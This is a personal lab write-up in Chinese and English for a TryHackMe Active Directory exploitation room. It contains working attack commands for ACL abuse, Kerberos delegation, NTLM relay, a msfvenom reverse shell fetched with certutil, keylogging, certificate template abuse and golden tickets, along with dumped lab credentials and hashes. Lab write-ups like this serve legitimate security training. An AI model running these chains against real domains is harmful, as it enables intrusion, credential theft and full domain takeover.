• AD Delegation AD 委派
  • Forcing Authentication Relays
    强制身份验证中继
  • Group Policy Objects 组策略对象
  • Targeting AD Users 定位 AD 用户
  • Domain Trusts 域信任
  • Silver and Golden Tickets 白银票据,黄金票据

Exploiting Permission Delegation

权限委派

想象一下,我们为一个拥有 50000 名员工的组织工作。由于我们关心安全性,因此只有三个用户有权访问 DA 凭据。这三个用户不可能处理用户的所有请求,例如重置密码。使用委派,我们可以将强制更改用户密码的权限委派给支持团队,这意味着他们现在拥有此特定功能的委派权限。原则上,为了保证授权的安全,应遵循最小特权原则。

Permission Delegation 权限委派

权限委派攻击通常称为基于 ACL 的攻击。AD 允许管理员配置填充任意访问控制列表 (DACL) 的访问控制条目 (ACE),因此称为基于 ACL 的攻击。几乎任何 AD 对象都可以使用 ACE 进行保护,然后 ACE 描述任何其他 AD 对象对目标对象具有的允许和拒绝权限。

Exploiting ACEs 利用 ACE

  • ForceChangePassword: We have the ability to set the user’s current password without knowing their current password.
    ForceChangePassword:我们可以在不知道用户当前密码的情况下设置用户的当前密码。
  • AddMembers: We have the ability to add users (including our own account), groups or computers to the target group.
    AddMembers:我们可以将用户(包括我们自己的帐户)、组或计算机添加到目标组。
  • GenericAll: We have complete control over the object, including the ability to change the user’s password, register an SPN or add an AD object to the target group.
    GenericAll:我们可以完全控制对象,包括更改用户密码、注册 SPN 或将 AD 对象添加到目标组的功能。
  • GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example, update the scriptPath parameter, which would cause a script to execute the next time the user logs on.
    GenericWrite:我们可以更新目标对象的任何不受保护的参数。例如,这可以允许我们更新 scriptPath 参数,这将导致脚本在用户下次登录时执行。
  • WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing us to gain additional permissions over the object.
    WriteOwner:我们可以更新目标对象的所有者。我们可以让自己成为所有者,从而获得对对象的额外权限。
  • WriteDACL: We have the ability to write new ACEs to the target object’s DACL. We could, for example, write an ACE that grants our account full control over the target object.
    WriteDACL:我们能够将新的 ACE 写入目标对象的 DACL。例如,我们可以编写一个 ACE,授予我们的帐户对目标对象的完全控制权。
  • AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target object. This includes, for example, the ability to force change a user’s password.
    AllExtendedRights:我们能够对目标对象执行与扩展 AD 权限关联的任何操作。例如,这包括强制更改用户密码的功能。

Pasted%20image%2020240417102835

tabby也是按照这种思路吧,太牛了

  • Our user account is a member of the Domain Users group.
    我们的用户帐户是域用户组的成员。
  • The Domain Users group has GenericWrite over the IT Support group.
    “域用户”组对 IT 支持组具有 GenericWrite。
  • The IT Support group has ForceChangePassword over the T2 admin users.
    IT 支持组对 T2 管理员用户具有 ForceChangePassword。

由于域是分层的,我们的第一步将是破坏第 2 层基础设施。我们需要破坏第 2 层管理员组,因为该组在所有工作站上都具有管理权限。让我们问问 Bloodhound 是否有一条我们可以走的路来妥协这个团体。将用户帐户添加为起始位置,将第 2 层管理员组添加为结束位置。

域用户组的任何成员(包括我们的帐户)都可以将帐户添加到 IT 支持组

$user = Get-ADUser -Identity 'louis.thornton'
$group = Get-ADGroup -Identity 'IT Support'
Add-ADGroupMember -Identity $group -Members $user
Get-ADGroupMember -Identity $group

louis.thornton:Islr3423

# Pick a random T2 accoun to target
$t2admin = Get-ADGroupMember -Identity 'Tier 2 Admins' | Get-Random -Count 1

# Print the name of the user
$t2admin.Name

# Change the password
$password = 'strong.pass1' | ConvertTo-SecureString -AsPlainText -Force
Set-ADAccountPassword -Identity $t2admin -Reset -NewPassword $password

Exploiting Kerberos Delegation

利用 Kerberos 委派

有两种类型的 Kerberos 委派。在 Kerberos 委派的原始实现中,使用了无约束委派,这是最不安全的方法。从本质上讲,无约束授权对授权没有限制。在后台,如果设置了“TRUSTED_FOR_DELEGATION”标志的用户向配置了“无约束委派”的主机进行身份验证,则会生成该用户帐户的票证授予票证 (TGT) 并将其存储在内存中,以便以后在需要时可以使用。假设攻击者可以破坏启用了 Unconstrained Delegation 的主机。在这种情况下,他们可能会尝试强制特权帐户向主机进行身份验证,这将允许他们拦截生成的 TGT 并模拟特权服务

为了解决无约束委派的安全缺陷,Microsoft 在 2003 年引入了受约束委派。约束委派限制帐户可以委派到哪些服务,从而限制帐户遭到入侵时的风险。以下是可以为委派配置的服务示例:

  • HTTP - Used for web applications to allow pass-through authentication using AD credentials.
    HTTP - 用于 Web 应用程序,以允许使用 AD 凭据进行直通身份验证。

  • CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.
    CIFS - 通用 Internet 文件系统用于文件共享,允许将用户委派给共享。

  • LDAP - Used to delegate to the LDAP service for actions such as resetting a user’s password.
    LDAP - 用于委派给 LDAP 服务执行重置用户密码等操作。

  • HOST - Allows delegation of account for all activities on the host.
    HOST - 允许委派主机上所有活动的帐户。

  • MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.
    MSSQL - 允许将用户帐户委派给 SQL 服务,以便对数据库进行直通身份验证。

Resource-Based Constrained Delegation

基于资源的约束委派

实际上有三种类型的 Kerberos 委派。但这个值得单独提及。Microsoft 于 2012 年推出的基于资源的约束委派 (RBCD) 再次为安全性的 Kerberos 委派提供了额外的限制。RBCD 完全改变了委派模型。现在,服务不再指定哪个对象可以委派给哪个服务,而是指定哪些对象可以委派给它。这允许服务所有者控制谁可以访问它。在我们的 Web 应用程序示例中,这意味着我们现在可以在数据库服务上指定允许 Web 服务帐户委派访问数据库,而不是指定 Web 服务帐户可以委派给数据库服务来访问数据库

Constrained Delegation Exploitation

受约束的委派利用

PS C:\Users\Administrator\Desktop> Import-Module C:\Tools\PowerView.ps1
PS C:\Users\Administrator\Desktop> Get-NetUser -TrustedToAuth


logoncount : 38
badpasswordtime : 1/1/1601 12:00:00 AM
distinguishedname : CN=IIS Server,CN=Users,DC=za,DC=tryhackme,DC=loc
objectclass : {top, person, organizationalPerson, user}
displayname : IIS Server
lastlogontimestamp : 4/14/2024 11:26:28 AM
userprincipalname : svcIIS@za.tryhackme.loc
name : IIS Server
objectsid : S-1-5-21-3885271727-2693558621-2658995185-6155
samaccountname : svcIIS
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 4/14/2024 10:26:28 AM
instancetype : 4
usncreated : 78494
objectguid : 11e42287-0a25-4d73-800d-b62e2d2a2a4b
sn : Server
lastlogoff : 1/1/1601 12:00:00 AM
msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc, WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc,
http/THMSERVER1}
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=tryhackme,DC=loc
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : HTTP/svcServWeb.za.tryhackme.loc
givenname : IIS
lastlogon : 4/17/2024 3:06:19 AM
badpwdcount : 0
cn : IIS Server
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 4/27/2022 11:26:21 AM
primarygroupid : 513
pwdlastset : 4/29/2022 11:50:25 AM
usnchanged : 155697


msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc, WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc,      
http/THMSERVER1}

svcIIS 可以委派http和WSMAN

如果要对THMWRK1执行正确的利用后枚举,则会发现主机上有一个以 svcIIS 用户身份运行的服务。由于我们现在具有管理访问权限,因此可以使用它来转储 LSASecret,这是 Windows 注册表配置单元的一部分,用于存储 Windows 服务等功能的凭据。让我们使用 Mimikatz 来转储机密

C:\Tools\mimikatz_trunk\x64\mimikatz.exe
privilege::debug
token::elevate
lsadump::secrets

  • token::elevate - To dump the secrets from the registry hive, we need to impersonate the SYSTEM user.
    token::elevate- 要从注册表配置单元转储机密,我们需要模拟 SYSTEM 用户。
  • lsadump::secrets - Mimikatz interacts with the registry hive to pull the clear text credentials.
    lsadump::secrets - Mimikatz 与注册表配置单元交互以拉取明文凭据。
mimikatz # lsadump::secrets 
Domain : THMWRK1
SysKey : a1403e57976b472bce5f231922ca3942

Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 )
Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 )
Domain FQDN : za.tryhackme.loc

Policy subsystem is : 1.18
LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27}
[00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463

Secret : $MACHINE.ACC
cur/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),m
lWLo?6$kqP
NTLM:4207d1b7e4b942da2371174b772fdf5e
SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db
old/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),m
lWLo?6$kqP
NTLM:4207d1b7e4b942da2371174b772fdf5e
SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db

Secret : DefaultPassword
old/text: vagrant

Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 b6 54 c4 83 d9 88 10 f6 ee ae fc b7 ed 2d a2 d6 47 11 3f 8f 4a 6d 7f 72 35 b8 a2 93 3d 5c 5e 3f 03
8d 79 49 90 e7 2e e0
full: b654c483d98810f6eeaefcb7ed2da2d647113f8f4a6d7f7235b8a2933d5c5e3f038d794990e72ee0
m/u : b654c483d98810f6eeaefcb7ed2da2d647113f8f / 4a6d7f7235b8a2933d5c5e3f038d794990e72ee0
old/hex : 01 00 00 00 10 4d a3 82 e2 da 30 1f 33 d6 49 a4 c9 81 26 e5 25 59 bb 9f 8a 76 b1 5d 59 c6 87 c6 32 b7 02 0b c1
5b 24 f4 44 d0 74 31
full: 104da382e2da301f33d649a4c98126e52559bb9f8a76b15d59c687c632b7020bc15b24f444d07431
m/u : 104da382e2da301f33d649a4c98126e52559bb9f / 8a76b15d59c687c632b7020bc15b24f444d07431

Secret : NL$KM
cur/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07
c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58
old/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07
c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58

Secret : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: Password1@


kekeo

C:\Tools\kekeo\x64\kekeo.exe
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc

mimikatz

kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

misc::cmd

exit
New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents> whoami
za\t1_trevor.jones

Exploiting Automated Relays

尽管我们已经拥有了对THMSERVER1的特权访问权限,但我们可能处于无法访问受约束的委派漏洞的位置。这是另一种出色的攻击,可以执行以获得对主机的特权访问权限

所有 Windows 主机都有一个计算机帐户。从本质上讲,这是与计算机关联的用户帐户。除非有人篡改了主机的帐户,否则这些帐户的密码是无法破解的。默认情况下,它们的长度为 120 个字符 (UTF16),并且每 30 天自动轮换一次。
在 AD 中,这些计算机帐户在不同的服务中使用了相当多的内容。不同的域控制器使用其计算机帐户来同步 AD 更新和更改。当您代表正在处理的主机请求证书时,该主机的计算机帐户将用于对 AD 证书服务进行身份验证。

AD 中有一个例外情况,即一台计算机对另一台计算机具有管理员权限。实质上,在 AD 配置中,已将对主机的管理权限授予另一台主机。同样,这是必须同步的预期功能,例如域控制器或 SQL 群集。但是,这些实例为强制身份验证提供了一个非常有趣的攻击媒介。

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

此查询将尝试查找计算机在另一台计算机上具有“AdminTo”关系的实例
Pasted%20image%2020240417111551

THMSERVER2计算机帐户对THMSERVER1计算机具有管理权限

利用条件

  1. A valid set of AD account credentials.
    一组有效的 AD 帐户凭据。
  2. Network connectivity to the target’s SMB service.
    与目标的 SMB 服务的网络连接。
  3. The target host must be running the Print Spooler service.
    目标主机必须正在运行后台打印程序服务。
  4. The hosts must not have SMB signing enforced.
    主机不得强制实施 SMB 签名。
# Try this...
Get-WmiObject Win32_Printer -Computer hostname.fqdn

# Or, this...
Get-PrinterPort -ComputerName hostname.fqdn

一直报错,管他了,假如他真的在运行打印程序呢

QAQ
sudo nmap -Pn -p445 --script=smb2-security-mode thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc


PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

Nmap scan report for thmserver2.za.tryhackme.loc (10.200.143.202)
Host is up (0.46s latency).
rDNS record for 10.200.143.202: bogon

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

Nmap done: 2 IP addresses (2 hosts up) scanned in 11.56 seconds

4也满足了

开打

设置NTML中继
impacket-ntlmrelayx -smb2support -t smb://"10.200.143.101" -debug

如果我们指定 THMSERVER1 的主机名而不是 IP,则主机可以请求我们使用 Kerberos 身份验证而不是 NTLM。因此,我们应该指定 IP。通过中继监听,我们现在可以强制THMSERVER2向我们进行身份验证在 THMWRK1 上的 SSH 终端执行
C:\Tools\SpoolSample.exe thmserver2.za.tryhackmloc "10.50.140.52"

Exploiting AD Users

  • Credential Management - How users store their credentials. In AD, this is quite important since users may have multiple sets of credentials and remembering all of them can be a hassle.
    凭据管理 - 用户如何存储其凭据。在 AD 中,这非常重要,因为用户可能拥有多组凭据,记住所有这些凭据可能会很麻烦。
  • Keylogging - Often, during exploitation, we need to understand how normal users interact with a system. Together with screengrabs, Keylogging can be a useful tool to gain this understanding from an attacker’s perspective.
    键盘记录 - 通常,在利用过程中,我们需要了解普通用户如何与系统交互。与屏幕截图一起,键盘记录可以成为从攻击者的角度获得这种理解的有用工具。

使用 Meterpreter 的键盘记录器

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.50.140.52 LPORT=443 -f psh -o pwnz.ps1
msfconsole -qx 'use exploit/multi/handler;set lhost 10.50.140.52;set lport 443;set payload windows/shell/reverse_tcp;run'

certutil -urlcache -split -f http://10.50.140.52/pwnz.ps1 pwnz.ps1

下载下来运行

唉,又弹不上

弹上后

ps | grep "explorer"
migrate pid
getuid => THMSERVER1\trevor.local


# Start the keylogger
meterpreter > keyscan_start

# Dump captured key strokes
meterpreter > keyscan_dump

# Stop the keylogger
meterpreter > keyscan_stop

然后直接解密那个kdbx

# Password is: Imreallysurenoonewillguessmypassword
kpcli:/> open PasswordDatabase.kdbx
kpcli:/> ls
kpcli:/> ls PasswordDatabase/*
kpcli:/> show -f -a PasswordDatabase/General/Flag

THM{AD.Users.Can.Give.Up.Good.Secrets}

kpcli:/> show -f -a PasswordDatabase/General/svcServMan

Sup3rStr0ngPass!@

Exploiting GPOs

上一步枚举的svcServMan用户
Pasted%20image%2020240417114056

有一个GPO 即组策略对象

Pasted%20image%2020240417114251

且用于Server2

Group Policy Objects 组策略对象

每台Windows计算机都有一个本地策略配置

  • Application configuration for services such as the Firewall, Anti-Virus, and Applocker.
    防火墙、防病毒和 Applocker 等服务的应用程序配置。

  • Local Group membership such as the Administrator or Remote Desktop Users groups.
    本地组成员身份,例如管理员或远程桌面用户组。

  • Startup configuration such as scripts that should be executed.
    启动配置,例如应执行的脚本。

  • Security and protocol settings such as SMBv1 support.
    安全和协议设置,例如 SMBv1 支持。

Group Policy Management 组策略管理

如果只有一台 Windows 计算机,则可以轻松地直接在主机上更改本地策略配置。但是,您需要一种机制来从大型组织中的中心位置部署配置。这就是组策略管理 (GPM) 发挥作用的地方。GPM 允许我们直接在 AD 结构上定义策略,而不是在每台机器上本地定义策略。从本质上讲,我们可以为 AD 对象定义 GPO,例如特定的 OU 或组。

已加入域的计算机将定期从 SYSVOL 中提取所有策略并应用相关策略。默认情况下,每 15 分钟通过 gpupdate 应用程序复制一次策略。但是,我们也可以从命令提示符手动执行此应用程序以立即应用策略

利用

尽管可以通过多种方式利用 GPO,但我们将坚持使用简单的解决方案,即将我们控制的 AD 帐户添加到本地管理员和本地远程桌面用户组。这将允许我们在THMSERVER2上拥有管理权限,并能够进行 RDP 输入。我们也可以使用公开的 SSH 端口,但没有多少组织升级到提供 SSH 访问。因此,RDP 访问或传统的横向移动技术(如 SMBExec)更安全

上一步得到的密码Sup3rStr0ngPass!@

runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe

在弹出的cmd里
mmc.exe

Pasted%20image%2020240417115936
为什么是空的额,测

file,自己加这个组件

Pasted%20image%2020240417115958

Pasted%20image%2020240417120004

Pasted%20image%2020240417120009

让“IT 支持”管理员和远程桌面用户THMSERVER2
Pasted%20image%2020240417121250

被人用过了

此组策略适用于 GPO 路径中指定的路径 za.tryhackme.loc/Servers/Management Servers

如果我们将 Active Directory Users and Computers 管理单元添加到会话 mmc.exe 中,则可以检查该 OU

Exploiting Certificates

xfreerdp /v:thmserver2.za.tryhackme.loc /u:louis.thornton /p:'Islr3423'
利用上一步的策略

AD Certificate Services AD证书服务

AD 证书服务 (CS) 是 Microsoft 的公钥基础结构 (PKI) 实现。由于 AD 在组织中提供了一定程度的信任,因此它可以用作 CA 来证明和委派信任。AD CS 用于多种用途,例如加密文件系统、创建和验证数字签名,甚至用户身份验证,使其成为攻击者的有前途的途径。

由于 AD CS 是特权函数,因此它通常在选定的域控制器上运行。这意味着普通用户无法真正直接与服务交互。另一方面,组织往往太大,无法让管理员手动创建和分发每个证书。这就是证书模板的用武之地。AD CS 的管理员可以创建多个模板,这些模板可以允许具有相关权限的任何用户自行请求证书。这些模板具有参数,说明哪个用户可以请求证书以及需要什么。SpecterOps 发现,这些参数的特定组合可能具有难以置信的毒性,并被滥用于权限提升和持久访问。

  • PKI - Public Key Infrastructure is a system that manages certificates and public key encryption
    PKI - 公钥基础设施是一个管理证书和公钥加密的系统

  • AD CS - Active Directory Certificate Services is Microsoft’s PKI implementation which usually runs on domain controllers
    AD CS - Active Directory 证书服务是 Microsoft 的 PKI 实现,通常在域控制器上运行

  • CA - Certificate Authority is a PKI that issues certificates
    CA - 证书颁发机构是颁发证书的 PKI

  • Certificate Template - a collection of settings and policies that defines how and when a certificate may be issued by a CA
    证书模板 - 设置和策略的集合,用于定义 CA 颁发证书的方式和时间

  • CSR - Certificate Signing Request is a message sent to a CA to request a signed certificate
    CSR - 证书签名请求是发送到 CA 以请求签名证书的消息

  • EKU - Extended/Enhanced Key Usage are object identifiers that define how a generated certificate may be used
    EKU - 扩展/增强密钥用法是定义如何使用生成的证书的对象标识符

Finding Vulnerable Certificate Templates

查找易受攻击的证书模板

certutil -Template -v > templates.txt

这将提供所有已配置模板的输出。我们还可以使用证书审核工具,例如 Ghostpack 的 PSPKIAudit。但是,手动方法使我们能够确保找到所有可能的错误配置。如果参数值的组合变得有害,则证书模板被视为配置错误,从而允许请求者执行权限提升。在我们的例子中,我们正在寻找一个具有以下有毒参数组合的模板:

  • Client Authentication - The certificate can be used for Client Authentication.
    客户端身份验证 - 证书可用于客户端身份验证。
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name (SAN).
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - 证书模板允许我们指定使用者备用名称 (SAN)。
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key.
    CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - 证书将与私钥一起导出。
  • Certificate Permissions - We have the required permissions to use the certificate template.
    证书权限 - 我们具有使用证书模板所需的权限。

太卡了

evil-winrm -i thmserver2.za.tryhackme.loc -u louis.thornton -p Islr3423

把文件拔下来了,但是太多了,看不懂

Using RDP access on THMSERVER2, we will now request our certificate. If you use Remmina and save the config of the RDP connection, please make sure to disable Restricted admin mode. We will use the Microsoft Management Console (MMC):
在THMSERVER2上使用 RDP 访问,我们现在将请求证书。如果您使用 Remmina 并保存 RDP 连接的配置,请确保禁用受限管理模式。我们将使用 Microsoft 管理控制台 (MMC):

  1. Click Start->run 单击“开始”->运行
  2. Type mmc and hit enter
    键入 mmc 并按回车键
  3. Click File->Add/Remove Snap-in…
    单击“文件”->“添加/删除管理单元”。
  4. Add the Certificates snap-in and make sure to select Computer Account and Local computer on the prompts.
    添加“证书”管理单元,并确保在提示符下选择“计算机帐户”和“本地计算机”。
  5. Click OK 单击“确定”

You should now see the Certificate snap-in:
现在,您应该会看到“证书”管理单元:

没时间了,直接CV,以后再看看,太卡了主要是

Pasted%20image%2020240417123106

  1. Right Click on Personal and select All Tasks->Request New Certificate…
    右键单击“个人”,然后选择“所有任务”->“请求新证书…
  2. Click Next twice to select the AD enrollment policy.
    单击“下一步”两次以选择 AD 注册策略。
  3. You will see that we have one template that we can request, but first, we need to provide additional information.
    您将看到我们有一个可以请求的模板,但首先,我们需要提供其他信息。
  4. Click on the More Information warning.
    单击“更多信息”警告。
  5. Change the Subject name Type option to Common Name and provide any value, since it does not matter, and click Add.
    将“使用者名称类型”选项更改为“公用名”并提供任何值,因为它无关紧要,然后单击“添加”。
  6. Change the Alternative name Type option to User principal name.
    将“备用名称类型”选项更改为“用户主体名称”。
  7. Supply the UPN of the user you want to impersonate. The best would be a DA account such as Administrator@za.tryhackme.loc and click Add.
    提供要模拟的用户的 UPN。最好的是 DA 帐户,例如 Administrator@za.tryhackme.loc,然后单击添加。

Pasted%20image%2020240417123123

Pasted%20image%2020240417123129

最后一步是使用私钥导出我们的证书:

  1. Right-click on the certificate and select All Tasks->Export…
    右键单击证书,然后选择“所有任务”-“>”导出…”
  2. Click Next, select Yes, export the private key, and click Next.
    单击“下一步”,选择“是,导出私钥”,然后单击“下一步”。
  3. Click Next, then set a password for the certificate since the private key cannot be exported without a password.
    单击“下一步”,然后为证书设置密码,因为如果没有密码,则无法导出私钥。
  4. Click Next and select a location to store the certificate.
    单击“下一步”,然后选择存储证书的位置。
  5. Click Next and finally click Finish.
    单击“下一步”,最后单击“完成”。

User Impersonation through a Certificate

通过证书模拟用户

Now we can finally impersonate a user. To perform this, two steps are required:
现在我们终于可以模拟用户了。为此,需要两个步骤:

  • Use the certificate to request a Kerberos ticket-granting ticket (TGT)
    使用证书请求 Kerberos 票证授予票证 (TGT)

  • Load the Kerberos TGT into your hacking platform of choice
    将 Kerberos TGT 加载到您选择的黑客平台中

使用 Rubeus 注入证书
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:C:\Users\username\Desktop\mycert.pfx /password:password123 /outfile:pwnz.kirbi /domain:za.tryhackme.loc /dc:10.200.60.101

  • /user - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
    /user - 这指定了我们将模拟的用户,并且必须与我们生成的证书的 UPN 匹配
  • /enctype -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
    /enctype - 指定票证的加密类型。设置此值对于规避很重要,因为默认加密算法较弱,这将导致超载哈希警报
  • /certificate - Path to the certificate we have generated
    /certificate - 生成的证书的路径
  • /password - The password for our certificate file
    /password - 证书文件的密码
  • /outfile - The file where our TGT will be output to
    /outfile - 我们的 TGT 将输出到的文件
  • /domain - The FQDN of the domain we are currently attacking
    /domain - 我们当前正在攻击的域的 FQDN
  • /dc - The IP of the domain controller which we are requesting the TGT from. Usually it is best to select a DC that has a CA service running
    /dc - 我们从中请求 TGT 的域控制器的 IP。通常,最好选择运行 CA 服务的 DC
C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # privilege::debug
mimikatz # kerberos::ptt pwnz.kirbi
mimikatz # misc::cmd

C:> explorer.exe

Exploiting Domain Trusts

即使我们可以访问第 0 层基础设施,这仍然不够。我们只利用了 ZA。TRYHACKME的。LOC 域。当然,TRYHACKME也必须拥有其他地区的域吗?好吧,如果我们控制根域,TRYHACKME。LOC,我们将能够破坏所有这些区域域。在此任务中,我们将了解如何利用域信任来控制整个林。

如 AD 基础知识室中所述,林是 AD 网络中一个或多个域树的集合。域信任是网络中的用户访问域中其他资源的一种机制。在大多数情况下,信任概述了林中的域如何相互通信。在某些环境中,信任可以扩展到外部域,在某些情况下甚至可以扩展到林。

There are two main types of trusts that can be configured between domains:
可以在域之间配置两种主要类型的信任:

  • Directional - The direction of the trust flows from a trusting domain to a trusted domain
    定向 - 信任的方向从信任域流向受信任域
  • Transitive - The trust relationship expands beyond just two domains to include other trusted domains
    传递 - 信任关系扩展到两个域之外,包括其他受信任的域

It is common to have a root or parent domain in a forest. In our case, this is TRYHACKME.LOC For each regional office, sub or child domains are created, such asZA.TRYHACKME.LOC or UK.TRYHACKME.LOC This forest configuration will allow the sharing of resources between the ZA and the UK office. For example, if some user in the UK office requires access to THMSERVER1, we can grant access for the user in the ZA domain. This permission delegation works since there is bidirectional trust between ZA and the root domain and the UK and the root domain, essentially creating a transitive trust between ZA and UK

这种权限委派之所以有效,是因为 ZA 和根域以及 UK 和根域之间存在双向信任,实质上是在 ZA 和 UK 之间创建传递信任。
如上所述,父域和子域之间的信任是双向的。这是预期的行为,用于通过更大的传递信任关系共享资源。但是,作为攻击者,如果我们破坏了子域,我们也可以利用这种信任来破坏父域

黄金票据

KRBTGT 是用于 Microsoft 实现 Kerberos 的帐户。该名称源自 Kerberos (KRB) 和票证授予票证 (TGT)。实质上,此帐户充当 Kerberos 分发中心 (KDC) 服务的服务帐户,该服务处理所有 Kerberos 票证请求。此帐户用于加密和签署域的所有 Kerberos 票证。由于密码哈希由所有域控制器共享,因此当用户请求访问资源时,它们可以验证收到的 TGT 的真实性

但是,如果我们想生成自己的 TGT 来授予我们访问所有内容的权限怎么办?这被称为 Golden Ticket 攻击。在 Golden Ticket 攻击中,我们完全绕过 KDC 并创建我们自己的 TGT,实质上成为 Ticket Grant Server (TGS)
需要

  • The FQDN of the domain
    域的 FQDN
  • The Security Identifier (SID) of the domain
    域的安全标识符 (SID)
  • The username of the account we want to impersonate
    我们要模拟的帐户的用户名
  • The KRBTGT password hash KRBTGT 密码哈希

之前的证书模板进行DC同步攻击

mimikatz # lsadump::dcsync /user:za\krbtgt

使用 KRBTGT 密码哈希,我们现在可以伪造黄金票证来访问子域中的任何资源。这也将在 Persisting AD 房间中更详细地讨论。但是,我们可以通过锻造 Inter-Realm TGT 来更进一步。 Inter-Realm TGT 用于提供对其他域中资源的访问。在我们的例子中,我们希望利用子域和父域之间的双向信任关系来获得对父域的完全访问权限
当我们构建黄金票证来执行此漏洞时,我们将包括来自其他域的额外帐户 SID。Mimikatz 可以协助解决这个问题,允许我们设置 Kerberos TGT 的KERB_VALIDATION_INFO结构的 ExtraSids 部分。ExtraSids 部分被描述为“指向 KERB_SID_AND_ATTRIBUTES 结构列表的指针,其中包含与主体所属的帐户域以外的域中的组相对应的 SID 列表”

这里的关键是,我们将利用父域对子域的信任,方法是将企业管理员 (EA) 组的 SID 作为额外的 SID 添加到子域域的伪造票证中。EA 组属于父域,此组的成员身份实质上授予对整个林的管理权限!此组的默认 SID 为S-1-5-21<RootDomain>--519

Before we can go into exploitation, we first need to recover two SIDs:
在进行渗透之前,我们首先需要恢复两个 SID:

  • The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
    子域控制器 (THMDC) 的 SID,我们将在伪造的 TGT 中模拟它

  • The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT
    父域中企业管理员的 SID,我们将将其作为额外的 SID 添加到伪造的 TGT 中

Get-ADComputer -Identity "THMDC"
Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
mimikatz # privilege::debug
mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt